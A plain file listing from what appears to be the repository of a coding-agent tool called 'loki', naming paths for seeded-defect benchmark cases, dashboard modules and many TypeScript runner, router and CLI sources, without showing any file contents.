  • benchmarks/seeded-defects/cases/SD-0014/src.py
  • benchmarks/seeded-defects/cases/SD-0014/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0015/check.py
  • benchmarks/seeded-defects/cases/SD-0015/src.py
  • benchmarks/seeded-defects/cases/SD-0015/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0016/check.py
  • benchmarks/seeded-defects/cases/SD-0016/src.py
  • benchmarks/seeded-defects/cases/SD-0016/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0017/check.py
  • benchmarks/seeded-defects/cases/SD-0017/src.py
  • benchmarks/seeded-defects/cases/SD-0017/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0018/check.py
  • benchmarks/seeded-defects/cases/SD-0018/src.py
  • benchmarks/seeded-defects/cases/SD-0018/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0019/check.py
  • benchmarks/seeded-defects/cases/SD-0019/src.py
  • benchmarks/seeded-defects/cases/SD-0019/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0020/check.py
  • benchmarks/seeded-defects/cases/SD-0020/src.py
  • benchmarks/seeded-defects/cases/SD-0020/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0021/check.py
  • benchmarks/seeded-defects/cases/SD-0021/src.py
  • benchmarks/seeded-defects/cases/SD-0021/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0022/check.py
  • benchmarks/seeded-defects/cases/SD-0022/src.py
  • benchmarks/seeded-defects/cases/SD-0022/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0023/check.py
  • benchmarks/seeded-defects/cases/SD-0023/src.py
  • benchmarks/seeded-defects/cases/SD-0023/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0024/check.py
  • benchmarks/seeded-defects/cases/SD-0024/src.py
  • benchmarks/seeded-defects/cases/SD-0024/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0025/check.py
  • benchmarks/seeded-defects/cases/SD-0025/src.py
  • benchmarks/seeded-defects/cases/SD-0025/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0026/check.py
  • benchmarks/seeded-defects/cases/SD-0026/src.py
  • benchmarks/seeded-defects/cases/SD-0026/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0027/check.py
  • benchmarks/seeded-defects/cases/SD-0027/src.py
  • benchmarks/seeded-defects/cases/SD-0027/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0028/check.py
  • benchmarks/seeded-defects/cases/SD-0028/src.py
  • benchmarks/seeded-defects/cases/SD-0028/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0029/check.py
  • benchmarks/seeded-defects/cases/SD-0029/src.py
  • benchmarks/seeded-defects/cases/SD-0029/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0030/check.py
  • benchmarks/seeded-defects/cases/SD-0030/src.py
  • benchmarks/seeded-defects/cases/SD-0030/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0031/check.py
  • benchmarks/seeded-defects/cases/SD-0031/src.py
  • benchmarks/seeded-defects/cases/SD-0031/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0032/check.py
  • benchmarks/seeded-defects/cases/SD-0032/src.py
  • benchmarks/seeded-defects/cases/SD-0032/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0033/check.py
  • benchmarks/seeded-defects/cases/SD-0033/src.py
  • benchmarks/seeded-defects/cases/SD-0033/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0034/check.py
  • benchmarks/seeded-defects/cases/SD-0034/src.py
  • benchmarks/seeded-defects/cases/SD-0034/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0035/check.py
  • benchmarks/seeded-defects/cases/SD-0035/src.py
  • benchmarks/seeded-defects/cases/SD-0035/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0036/check.py
  • benchmarks/seeded-defects/cases/SD-0036/src.py
  • benchmarks/seeded-defects/cases/SD-0036/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0037/check.py
  • benchmarks/seeded-defects/cases/SD-0037/src.py
  • benchmarks/seeded-defects/cases/SD-0037/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0038/check.py
  • benchmarks/seeded-defects/cases/SD-0038/src.py
  • benchmarks/seeded-defects/cases/SD-0038/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0039/check.py
  • benchmarks/seeded-defects/cases/SD-0039/src.py
  • benchmarks/seeded-defects/cases/SD-0039/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0040/check.py
  • benchmarks/seeded-defects/cases/SD-0040/src.py
  • benchmarks/seeded-defects/cases/SD-0040/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0041/check.py
  • benchmarks/seeded-defects/cases/SD-0041/src.py
  • benchmarks/seeded-defects/cases/SD-0041/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0042/check.py
  • benchmarks/seeded-defects/cases/SD-0042/src.py
  • benchmarks/seeded-defects/cases/SD-0042/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0043/check.py
  • benchmarks/seeded-defects/cases/SD-0043/src.py
  • benchmarks/seeded-defects/cases/SD-0043/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0044/check.py
  • benchmarks/seeded-defects/cases/SD-0044/src.py
  • benchmarks/seeded-defects/cases/SD-0044/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0045/check.py
  • benchmarks/seeded-defects/cases/SD-0045/src.py
  • benchmarks/seeded-defects/cases/SD-0045/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0046/check.py
  • benchmarks/seeded-defects/cases/SD-0046/src.py
  • benchmarks/seeded-defects/cases/SD-0046/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0047/check.py
  • benchmarks/seeded-defects/cases/SD-0047/src.py
  • benchmarks/seeded-defects/cases/SD-0047/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0048/check.py
  • benchmarks/seeded-defects/cases/SD-0048/src.py
  • benchmarks/seeded-defects/cases/SD-0048/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0049/check.py
  • benchmarks/seeded-defects/cases/SD-0049/src.py
  • benchmarks/seeded-defects/cases/SD-0049/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0050/check.py
  • benchmarks/seeded-defects/cases/SD-0050/src.py
  • benchmarks/seeded-defects/cases/SD-0050/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0051/check.py
  • benchmarks/seeded-defects/cases/SD-0051/src.py
  • benchmarks/seeded-defects/cases/SD-0051/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0052/check.py
  • benchmarks/seeded-defects/cases/SD-0052/src.py
  • benchmarks/seeded-defects/cases/SD-0052/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0053/check.py
  • benchmarks/seeded-defects/cases/SD-0053/src.py
  • benchmarks/seeded-defects/cases/SD-0053/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0054/check.py
  • benchmarks/seeded-defects/cases/SD-0054/src.py
  • benchmarks/seeded-defects/cases/SD-0054/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0055/check.py
  • benchmarks/seeded-defects/cases/SD-0055/src.py
  • benchmarks/seeded-defects/cases/SD-0055/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0056/check.py
  • benchmarks/seeded-defects/cases/SD-0056/src.py
  • benchmarks/seeded-defects/cases/SD-0056/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0057/check.py
  • benchmarks/seeded-defects/cases/SD-0057/src.py
  • benchmarks/seeded-defects/cases/SD-0057/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0058/check.py
  • benchmarks/seeded-defects/cases/SD-0058/src.py
  • benchmarks/seeded-defects/cases/SD-0058/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0059/check.py
  • benchmarks/seeded-defects/cases/SD-0059/src.py
  • benchmarks/seeded-defects/cases/SD-0059/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0060/check.py
  • benchmarks/seeded-defects/cases/SD-0060/src.py
  • benchmarks/seeded-defects/cases/SD-0060/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0061/check.py
  • benchmarks/seeded-defects/cases/SD-0061/src.py
  • benchmarks/seeded-defects/cases/SD-0061/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0062/check.py
  • benchmarks/seeded-defects/cases/SD-0062/src.py
  • benchmarks/seeded-defects/cases/SD-0062/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0063/check.py
  • benchmarks/seeded-defects/cases/SD-0063/src.py
  • benchmarks/seeded-defects/cases/SD-0063/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0064/check.py
  • benchmarks/seeded-defects/cases/SD-0064/src.py
  • benchmarks/seeded-defects/cases/SD-0064/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0065/check.py
  • benchmarks/seeded-defects/cases/SD-0065/src.py
  • benchmarks/seeded-defects/cases/SD-0065/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0066/check.py
  • benchmarks/seeded-defects/cases/SD-0066/src.py
  • benchmarks/seeded-defects/cases/SD-0066/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0067/check.py
  • benchmarks/seeded-defects/cases/SD-0067/src.py
  • benchmarks/seeded-defects/cases/SD-0067/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0068/check.py
  • benchmarks/seeded-defects/cases/SD-0068/src.py
  • benchmarks/seeded-defects/cases/SD-0068/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0069/check.py
  • benchmarks/seeded-defects/cases/SD-0069/src.py
  • benchmarks/seeded-defects/cases/SD-0069/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0070/check.py
  • benchmarks/seeded-defects/cases/SD-0070/src.py
  • benchmarks/seeded-defects/cases/SD-0070/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0071/check.py
  • benchmarks/seeded-defects/cases/SD-0071/src.py
  • benchmarks/seeded-defects/cases/SD-0071/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0072/check.py
  • benchmarks/seeded-defects/cases/SD-0072/src.py
  • benchmarks/seeded-defects/cases/SD-0072/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0073/check.py
  • benchmarks/seeded-defects/cases/SD-0073/src.py
  • benchmarks/seeded-defects/cases/SD-0073/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0074/check.py
  • benchmarks/seeded-defects/cases/SD-0074/src.py
  • benchmarks/seeded-defects/cases/SD-0074/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0075/check.py
  • benchmarks/seeded-defects/cases/SD-0075/src.py
  • benchmarks/seeded-defects/cases/SD-0075/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0076/check.py
  • benchmarks/seeded-defects/cases/SD-0076/src.py
  • benchmarks/seeded-defects/cases/SD-0076/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0077/check.py
  • benchmarks/seeded-defects/cases/SD-0077/src.py
  • benchmarks/seeded-defects/cases/SD-0077/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0078/check.py
  • benchmarks/seeded-defects/cases/SD-0078/src.py
  • benchmarks/seeded-defects/cases/SD-0078/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0079/check.py
  • benchmarks/seeded-defects/cases/SD-0079/src.py
  • benchmarks/seeded-defects/cases/SD-0079/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0080/check.py
  • benchmarks/seeded-defects/cases/SD-0080/src.py
  • benchmarks/seeded-defects/cases/SD-0080/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0081/check.py
  • benchmarks/seeded-defects/cases/SD-0081/src.py
  • benchmarks/seeded-defects/cases/SD-0081/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0082/check.py
  • benchmarks/seeded-defects/cases/SD-0082/src.py
  • benchmarks/seeded-defects/cases/SD-0082/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0083/check.py
  • benchmarks/seeded-defects/cases/SD-0083/src.py
  • benchmarks/seeded-defects/cases/SD-0083/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0084/check.py
  • benchmarks/seeded-defects/cases/SD-0084/src.py
  • benchmarks/seeded-defects/cases/SD-0084/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0085/check.py
  • benchmarks/seeded-defects/cases/SD-0085/src.py
  • benchmarks/seeded-defects/cases/SD-0085/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0086/check.py
  • benchmarks/seeded-defects/cases/SD-0086/src.py
  • benchmarks/seeded-defects/cases/SD-0086/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0087/check.py
  • benchmarks/seeded-defects/cases/SD-0087/src.py
  • benchmarks/seeded-defects/cases/SD-0087/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0088/check.py
  • benchmarks/seeded-defects/cases/SD-0088/src.py
  • benchmarks/seeded-defects/cases/SD-0088/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0089/check.py
  • benchmarks/seeded-defects/cases/SD-0089/src.py
  • benchmarks/seeded-defects/cases/SD-0089/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0090/check.py
  • benchmarks/seeded-defects/cases/SD-0090/src.py
  • benchmarks/seeded-defects/cases/SD-0090/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0091/check.py
  • benchmarks/seeded-defects/cases/SD-0091/src.py
  • benchmarks/seeded-defects/cases/SD-0091/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0092/check.py
  • benchmarks/seeded-defects/cases/SD-0092/src.py
  • benchmarks/seeded-defects/cases/SD-0092/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0093/check.py
  • benchmarks/seeded-defects/cases/SD-0093/src.py
  • benchmarks/seeded-defects/cases/SD-0093/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0094/check.py
  • benchmarks/seeded-defects/cases/SD-0094/src.py
  • benchmarks/seeded-defects/cases/SD-0094/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0095/check.py
  • benchmarks/seeded-defects/cases/SD-0095/src.py
  • benchmarks/seeded-defects/cases/SD-0095/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0096/check.py
  • benchmarks/seeded-defects/cases/SD-0096/src.py
  • benchmarks/seeded-defects/cases/SD-0096/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0097/check.py
  • benchmarks/seeded-defects/cases/SD-0097/src.py
  • benchmarks/seeded-defects/cases/SD-0097/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0098/check.py
  • benchmarks/seeded-defects/cases/SD-0098/src.py
  • benchmarks/seeded-defects/cases/SD-0098/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0099/check.py
  • benchmarks/seeded-defects/cases/SD-0099/src.py
  • benchmarks/seeded-defects/cases/SD-0099/test_visible.py
  • benchmarks/seeded-defects/cases/SD-0100/check.py
  • benchmarks/seeded-defects/cases/SD-0100/src.py
  • benchmarks/seeded-defects/cases/SD-0100/test_visible.py
  • benchmarks/seeded-defects/generate.py
  • benchmarks/seeded-defects/measure.py
  • benchmarks/seeded-defects/pr-cases/PR-0001/base/src.py
  • benchmarks/seeded-defects/pr-cases/PR-0001/base/test_visible.py
  • benchmarks/seeded-defects/pr-cases/PR-0001/base/tests/test_clause.py
  • benchmarks/seeded-defects/pr-cases/PR-0001/head/src.py
  • benchmarks/seeded-defects/pr-cases/PR-0001/head/test_visible.py
  • benchmarks/seeded-defects/pr-cases/PR-0001/head/tests/test_clause.py
  • benchmarks/seeded-defects/pr-cases/PR-0002/base/src.py
  • benchmarks/seeded-defects/pr-cases/PR-0002/base/test_visible.py
  • benchmarks/seeded-defects/pr-cases/PR-0002/base/tests/test_clause.py
  • benchmarks/seeded-defects/pr-cases/PR-0002/head/src.py
  • benchmarks/seeded-defects/pr-cases/PR-0002/head/test_visible.py
  • benchmarks/seeded-defects/pr-cases/PR-0002/head/tests/test_clause.py
  • benchmarks/seeded-defects/pr-cases/PR-0003/base/src.py
  • benchmarks/seeded-defects/pr-cases/PR-0003/base/test_visible.py
  • benchmarks/seeded-defects/pr-cases/PR-0003/base/tests/test_clause.py
  • benchmarks/seeded-defects/pr-cases/PR-0003/head/src.py
  • benchmarks/seeded-defects/pr-cases/PR-0003/head/test_visible.py
  • benchmarks/seeded-defects/pr-cases/PR-0003/head/tests/test_clause.py
  • benchmarks/seeded-defects/pr-cases/PR-0004/base/src.py
  • benchmarks/seeded-defects/pr-cases/PR-0004/base/test_visible.py
  • benchmarks/seeded-defects/pr-cases/PR-0004/base/tests/test_clause.py
  • benchmarks/seeded-defects/pr-cases/PR-0004/head/src.py
  • benchmarks/seeded-defects/pr-cases/PR-0004/head/test_visible.py
  • benchmarks/seeded-defects/pr-cases/PR-0004/head/tests/test_clause.py
  • benchmarks/seeded-defects/pr-cases/PR-0005/base/src.py
  • benchmarks/seeded-defects/pr-cases/PR-0005/base/test_visible.py
  • benchmarks/seeded-defects/pr-cases/PR-0005/base/tests/test_clause.py
  • benchmarks/seeded-defects/pr-cases/PR-0005/head/src.py
  • benchmarks/seeded-defects/pr-cases/PR-0005/head/test_visible.py
  • benchmarks/seeded-defects/pr-cases/PR-0005/head/tests/test_clause.py
  • benchmarks/seeded-defects/pr-cases/PR-0006/base/src.py
  • benchmarks/seeded-defects/pr-cases/PR-0006/base/test_visible.py
  • benchmarks/seeded-defects/pr-cases/PR-0006/base/tests/test_clause.py
  • benchmarks/seeded-defects/pr-cases/PR-0006/head/src.py
  • benchmarks/seeded-defects/pr-cases/PR-0006/head/test_visible.py
  • benchmarks/seeded-defects/pr-cases/PR-0006/head/tests/test_clause.py
  • benchmarks/seeded-defects/pr-cases/PR-0007/base/src.py
  • benchmarks/seeded-defects/pr-cases/PR-0007/base/test_visible.py
  • benchmarks/seeded-defects/pr-cases/PR-0007/base/tests/test_clause.py
  • benchmarks/seeded-defects/pr-cases/PR-0007/head/src.py
  • benchmarks/seeded-defects/pr-cases/PR-0007/head/test_visible.py
  • benchmarks/seeded-defects/pr-cases/PR-0007/head/tests/test_clause.py
  • benchmarks/seeded-defects/pr-cases/PR-0008/base/src.py
  • benchmarks/seeded-defects/pr-cases/PR-0008/base/test_visible.py
  • benchmarks/seeded-defects/pr-cases/PR-0008/head/src.py
  • benchmarks/seeded-defects/pr-cases/PR-0008/head/test_visible.py
  • bin/loki
  • bin/loki-mode.js
  • bin/loki-postinstall.js
  • claude/hooks/loki-session-end.sh
  • collab/__init__.py
  • collab/api.py
  • collab/presence.py
  • collab/sync.py
  • collab/websocket.py
  • completions/loki.bash
  • dashboard/Dockerfile
  • dashboard/__init__.py
  • dashboard/activity_logger.py
  • dashboard/api_evidence.py
  • dashboard/api_keys.py
  • dashboard/api_operator.py
  • dashboard/api_phases.py
  • dashboard/api_releases.py
  • dashboard/api_runs.py
  • dashboard/api_runs_v1.py
  • dashboard/api_start.py
  • dashboard/api_tests.py
  • dashboard/api_v2.py
  • dashboard/api_workspaces.py
  • dashboard/app_secrets.py
  • dashboard/audit.py
  • dashboard/auth.py
  • dashboard/build_supervisor.py
  • dashboard/control.py
  • dashboard/database.py
  • dashboard/failure_extractor.py
  • dashboard/migration_engine.py
  • dashboard/models.py
  • dashboard/prompt_optimizer.py
  • dashboard/registry.py
  • dashboard/rigour_integration.py
  • dashboard/runs.py
  • dashboard/secure_tmp.py
  • dashboard/server.py
  • dashboard/telemetry.py
  • dashboard/tenants.py
  • docker/Dockerfile
  • events/__init__.py
  • events/bus.py
  • events/bus.ts
  • events/emit.sh
  • learning/__init__.py
  • learning/aggregate.sh
  • learning/aggregator.py
  • learning/emit.sh
  • learning/emitter.py
  • learning/signals.py
  • learning/signals.ts
  • learning/suggest.sh
  • learning/suggestions.py
  • loki-ts/dist/cockpit.js
  • loki-ts/dist/loki.js
  • loki-ts/package.json
  • loki-ts/scripts/build.ts
  • loki-ts/scripts/gen-cli-modern-doc.ts
  • loki-ts/scripts/gen-command-lists.ts
  • loki-ts/src/cli.ts
  • loki-ts/src/cli/completions.ts
  • loki-ts/src/cli/inventory_doc.ts
  • loki-ts/src/cli/registry.ts
  • loki-ts/src/cockpit/capability.ts
  • loki-ts/src/cockpit/cli.ts
  • loki-ts/src/cockpit/encode.ts
  • loki-ts/src/cockpit/raster.ts
  • loki-ts/src/cockpit/render.ts
  • loki-ts/src/cockpit/svg.ts
  • loki-ts/src/commands/completion.ts
  • loki-ts/src/commands/control.ts
  • loki-ts/src/commands/crash.ts
  • loki-ts/src/commands/doctor.ts
  • loki-ts/src/commands/doctor_fix.ts
  • loki-ts/src/commands/export_sarif.ts
  • loki-ts/src/commands/internal_exec_manifest.ts
  • loki-ts/src/commands/internal_phase1.ts
  • loki-ts/src/commands/internal_sdk_judge.ts
  • loki-ts/src/commands/issues_epic.ts
  • loki-ts/src/commands/issues_run.ts
  • loki-ts/src/commands/kpis.ts
  • loki-ts/src/commands/memory.ts
  • loki-ts/src/commands/proof.ts
  • loki-ts/src/commands/provider.ts
  • loki-ts/src/commands/queue.ts
  • loki-ts/src/commands/rollback.ts
  • loki-ts/src/commands/run_status.ts
  • loki-ts/src/commands/start.ts
  • loki-ts/src/commands/stats.ts
  • loki-ts/src/commands/status.ts
  • loki-ts/src/commands/trust.ts
  • loki-ts/src/commands/undo.ts
  • loki-ts/src/commands/undo_apply.ts
  • loki-ts/src/commands/verify_pr.ts
  • loki-ts/src/commands/version.ts
  • loki-ts/src/commands/wiki.ts
  • loki-ts/src/contrib/ai_bom.ts
  • loki-ts/src/contrib/brief_facts.ts
  • loki-ts/src/contrib/cost_records.ts
  • loki-ts/src/contrib/effort_policy.ts
  • loki-ts/src/contrib/eta.ts
  • loki-ts/src/contrib/forecast.ts
  • loki-ts/src/contrib/index.ts
  • loki-ts/src/contrib/plan_cmd.ts
  • loki-ts/src/contrib/receipt_time.ts
  • loki-ts/src/contrib/runtime_evidence.ts
  • loki-ts/src/contrib/sarif.ts
  • loki-ts/src/contrib/slack_inbound.ts
  • loki-ts/src/contrib/stage_capability.ts
  • loki-ts/src/contrib/status.ts
  • loki-ts/src/contrib/verify_pr_f2p.ts
  • loki-ts/src/contrib/wall_snapshot.ts
  • loki-ts/src/council/finding_schema.ts
  • loki-ts/src/council/role_agents.ts
  • loki-ts/src/e10ext/assert_delta.ts
  • loki-ts/src/e10ext/budget_cap.ts
  • loki-ts/src/e10ext/commit_filter.ts
  • loki-ts/src/e10ext/compound_match.ts
  • loki-ts/src/e10ext/context.ts
  • loki-ts/src/e10ext/discard.ts
  • loki-ts/src/e10ext/liveline.ts
  • loki-ts/src/e10ext/preexisting_dirty.ts
  • loki-ts/src/e10ext/repomemory.ts
  • loki-ts/src/e10ext/reviewer_body.ts
  • loki-ts/src/e10ext/scope.ts
  • loki-ts/src/e10ext/select.ts
  • loki-ts/src/e10ext/ship_hook.ts
  • loki-ts/src/e10ext/stop_restore.ts
  • loki-ts/src/e10ext/treeswap.ts
  • loki-ts/src/e10ext/wall_hints.ts
  • loki-ts/src/engine10/already_done.ts
  • loki-ts/src/engine10/cache.ts
  • loki-ts/src/engine10/cli.ts
  • loki-ts/src/engine10/cost.ts
  • loki-ts/src/engine10/events.ts
  • loki-ts/src/engine10/failures.ts
  • loki-ts/src/engine10/fetch_issue.ts
  • loki-ts/src/engine10/hooks.ts
  • loki-ts/src/engine10/integrate.ts
  • loki-ts/src/engine10/keys_cmd.ts
  • loki-ts/src/engine10/machine.ts
  • loki-ts/src/engine10/modernize/cli.ts
  • loki-ts/src/engine10/modernize/cluster.ts
  • loki-ts/src/engine10/modernize/codemod.ts
  • loki-ts/src/engine10/modernize/dashboard.ts
  • loki-ts/src/engine10/modernize/equiv.ts
  • loki-ts/src/engine10/modernize/estimate.ts
  • loki-ts/src/engine10/modernize/inventory.ts
  • loki-ts/src/engine10/modernize/lang/java.ts
  • loki-ts/src/engine10/modernize/lang/python.ts
  • loki-ts/src/engine10/modernize/log.ts
  • loki-ts/src/engine10/modernize/oracle/java.ts
  • loki-ts/src/engine10/modernize/oracle/seal.ts
  • loki-ts/src/engine10/modernize/oracle/search.ts
  • loki-ts/src/engine10/modernize/presealed_wall.ts
  • loki-ts/src/engine10/modernize/report.ts
  • loki-ts/src/engine10/modernize/reslice.ts
  • loki-ts/src/engine10/modernize/resume.ts
  • loki-ts/src/engine10/modernize/routes.ts
  • loki-ts/src/engine10/modernize/scheduler.ts
  • loki-ts/src/engine10/modernize/ship.ts
  • loki-ts/src/engine10/modernize/targets/java21.ts
  • loki-ts/src/engine10/modernize/targets/python3.ts
  • loki-ts/src/engine10/modernize/types.ts
  • loki-ts/src/engine10/modernize/unit.ts
  • loki-ts/src/engine10/modernize/wave.ts
  • loki-ts/src/engine10/output.ts
  • loki-ts/src/engine10/pr_body.ts
  • loki-ts/src/engine10/preflight.ts
  • loki-ts/src/engine10/registry.ts
  • loki-ts/src/engine10/relevant_files.ts
  • loki-ts/src/engine10/repomap.ts
  • loki-ts/src/engine10/session.ts
  • loki-ts/src/engine10/sizing.ts
  • loki-ts/src/engine10/stages/commit.ts
  • loki-ts/src/engine10/stages/deep.ts
  • loki-ts/src/engine10/stages/fix.ts
  • loki-ts/src/engine10/stages/implement.ts
  • loki-ts/src/engine10/stages/intake.ts
  • loki-ts/src/engine10/stages/plan.ts
  • loki-ts/src/engine10/stages/pr.ts
  • loki-ts/src/engine10/stages/seal.ts
  • loki-ts/src/engine10/stages/verify.ts
  • loki-ts/src/engine10/stages/wall.ts
  • loki-ts/src/engine10/stages/xreview.ts
  • loki-ts/src/engine10/supervisor.ts
  • loki-ts/src/engine10/testmap.ts
  • loki-ts/src/engine10/types.ts
  • loki-ts/src/engine10/verify_cmd.ts
  • loki-ts/src/engine10/worker.ts
  • loki-ts/src/features/attempts.ts
  • loki-ts/src/features/blocked_answer.ts
  • loki-ts/src/features/contract.ts
  • loki-ts/src/features/decompose.ts
  • loki-ts/src/features/dependents.ts
  • loki-ts/src/features/lean_prefix.ts
  • loki-ts/src/features/receipt_dsse.ts
  • loki-ts/src/features/runner_config.ts
  • loki-ts/src/features/spec_ambiguity.ts
  • loki-ts/src/features/speed/already_done_async.ts
  • loki-ts/src/features/speed/decompose_check.ts
  • loki-ts/src/features/speed/fix_units.ts
  • loki-ts/src/features/speed/group_grid.ts
  • loki-ts/src/features/speed/group_output.ts
  • loki-ts/src/features/speed/lean_select.ts
  • loki-ts/src/features/speed/route.ts
  • loki-ts/src/features/speed/run_group.ts
  • loki-ts/src/features/speed/seal_group.ts
  • loki-ts/src/features/speed/unit_mode.ts
  • loki-ts/src/features/tracker_intake.ts
  • loki-ts/src/features/triage.ts
  • loki-ts/src/features/untouched_untracked.ts
  • loki-ts/src/features/visual_evidence.ts
  • loki-ts/src/features/wall_manifest.ts
  • loki-ts/src/features/wall_manifest_wire.ts
  • loki-ts/src/features/warm.ts
  • loki-ts/src/features/warm_client.ts
  • loki-ts/src/integrations/before_after.ts
  • loki-ts/src/integrations/writeback.ts
  • loki-ts/src/metrics/kpis.ts
  • loki-ts/src/metrics/trust.ts
  • loki-ts/src/project_graph.ts
  • loki-ts/src/project_model/api.ts
  • loki-ts/src/project_model/conventions.ts
  • loki-ts/src/project_model/discover.ts
  • loki-ts/src/project_model/gather.ts
  • loki-ts/src/project_model/graph.ts
  • loki-ts/src/project_model/install.ts
  • loki-ts/src/project_model/linguist.ts
  • loki-ts/src/project_model/package_suite.ts
  • loki-ts/src/project_model/resolve.ts
  • loki-ts/src/project_model/schema.ts
  • loki-ts/src/project_model/scope.ts
  • loki-ts/src/providers/claude_flags.ts
  • loki-ts/src/providers/mcp_config.ts
  • loki-ts/src/providers/model_routes.ts
  • loki-ts/src/providers/price_table.ts
  • loki-ts/src/providers/provider_cost.ts
  • loki-ts/src/providers/provider_guard.ts
  • loki-ts/src/runner/attempts.ts
  • loki-ts/src/runner/budget.ts
  • loki-ts/src/runner/checkpoint.ts
  • loki-ts/src/runner/counter_evidence.ts
  • loki-ts/src/runner/crash.ts
  • loki-ts/src/runner/engine10_dashboard.ts
  • loki-ts/src/runner/episode_bridge.ts
  • loki-ts/src/runner/escalation_handoff.ts
  • loki-ts/src/runner/exec_manifest.ts
  • loki-ts/src/runner/findings_injector.ts
  • loki-ts/src/runner/github_token.ts
  • loki-ts/src/runner/host_guard.ts
  • loki-ts/src/runner/learnings_writer.ts
  • loki-ts/src/runner/load_owner.ts
  • loki-ts/src/runner/model_downgrades.ts
  • loki-ts/src/runner/model_rank.ts
  • loki-ts/src/runner/oauth_dev.ts
  • loki-ts/src/runner/provider_failover.ts
  • loki-ts/src/runner/provider_opencode.ts
  • loki-ts/src/runner/providers.ts
  • loki-ts/src/runner/repo_profile.ts
  • loki-ts/src/runner/retry_class.ts
  • loki-ts/src/runner/router/advisor_probe.ts
  • loki-ts/src/runner/router/cost_preview.ts
  • loki-ts/src/runner/router/decision.ts
  • loki-ts/src/runner/router/flag.ts
  • loki-ts/src/runner/router/history.ts
  • loki-ts/src/runner/router/history_store.ts
  • loki-ts/src/runner/router/implement_route.ts
  • loki-ts/src/runner/router/plan_route.ts
  • loki-ts/src/runner/router/route_block.ts
  • loki-ts/src/runner/router/route_record.ts
  • loki-ts/src/runner/router/session_route.ts
  • loki-ts/src/runner/router/unit_model.ts
  • loki-ts/src/runner/runner_errors.ts
  • loki-ts/src/runner/sdk_invoker.ts
  • loki-ts/src/runner/sdk_mode.ts
  • loki-ts/src/runner/sdk_stream_parser.ts
  • loki-ts/src/runner/session_resume.ts
  • loki-ts/src/runner/state.ts
  • loki-ts/src/runner/stop_checks.ts
  • loki-ts/src/runner/trim.ts
  • loki-ts/src/runner/types.ts
  • loki-ts/src/runner/watchdog.ts
  • loki-ts/src/runner/worker_proc.ts
  • loki-ts/src/supply/supply_guard.ts
